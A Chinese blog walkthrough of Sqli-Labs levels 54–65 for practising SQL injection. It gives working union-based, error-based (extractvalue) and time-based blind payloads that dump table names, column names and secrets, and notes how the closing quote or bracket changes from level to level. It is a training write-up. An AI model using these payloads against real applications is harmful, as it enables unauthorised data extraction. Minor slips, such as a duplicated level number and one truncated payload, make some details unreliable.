Sqli-Labs 闯关 less 54-65

Less 54

如果没有点提交按钮将会进入下面的其他语句,有过滤,显然突破口在上面。如果点了提交将会setCookie方法,

看到然后个有GET提交的ID参数,然后有个更新数据库操作,这里限制了10次请求次数,否则更新数据库。

前面判断过程就跳过了。查库:?id=-1'  union  select 1,2,database()--+

 

 爆表:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

 爆列:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='0ca0tp0f0f

 爆数据:?id=-1' union select 1,2,(group_concat( concat_ws(0x7e,sessid,secret_I6CV,tryy)  )) from challenges.0ca0tp0f0f --+

然后输入刚拿到的secret:

 

Less 55

和上一关步骤相同,只是数据闭合变成了 ) 。这次可以输入14次。

Less 56

和54关步骤相同,只是数据闭合变成了 ') 。

Less 57

这一关是双引号闭合 " ,其他步骤与54关相同。

Less 58

查询之后并没有返回查询数据库当中的数据,不能使用联合注入,但是有报错回显,可以使用报错注入。

且要求5次之内获得数据。。

爆库:?id=0' and extractvalue(1, concat(0x5c, (select database())))%23

爆表:?id=0' union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))%23

爆列:?id=0' union select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8g6acvtbe0'),0x7e))%23

爆信息:?id=0' union select extractvalue(1,concat(0x7e,(select group_concat(secret_CH45) from 8g6acvtbe0),0x7e))%23

把得到的信息输入进去:

Less 59

与上一关一样。同样用报错注入,只是没有数据包裹。

Less 61

与上一关一样。同样用报错注入,数据包裹变成了 ”) 。

Less 61

与上一关一样。同样用报错注入,数据包裹变成了 ')) 。

注:上面这三关尤其使 60 61关,因为只有5次机会,去猜数据闭合就会用好几次机会,所以可以多试几次。

Less 62

我们看到已经给出数据库名了,所以直接去猜表名。

 给了130次机会,我们接着试发现联合注入和报错注入都不可以了,所以只能选择盲注。

然后通过二分法去猜表名,?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),5,1))>98,sleep(5),1)--+

方法就是这个方法,然后爆表爆列等等就不再演示了。。 记住这关也是有次数限制的。。

 还有一种方法就是写脚本爆破。。我也不太明白就不多赘述了。。

Less 63

与上一关基本一样。只是这关数据包裹变成了 1'   。单引号

Less 64 

与上一关基本一样。只是这关数据包裹变成了 1)) 。 双括号

Less 65 

与上一关基本一样。只是这关数据包裹变成了 1") 。 双引号 单括号

原文地址:https://www.cnblogs.com/qi-yuan/p/12304963.html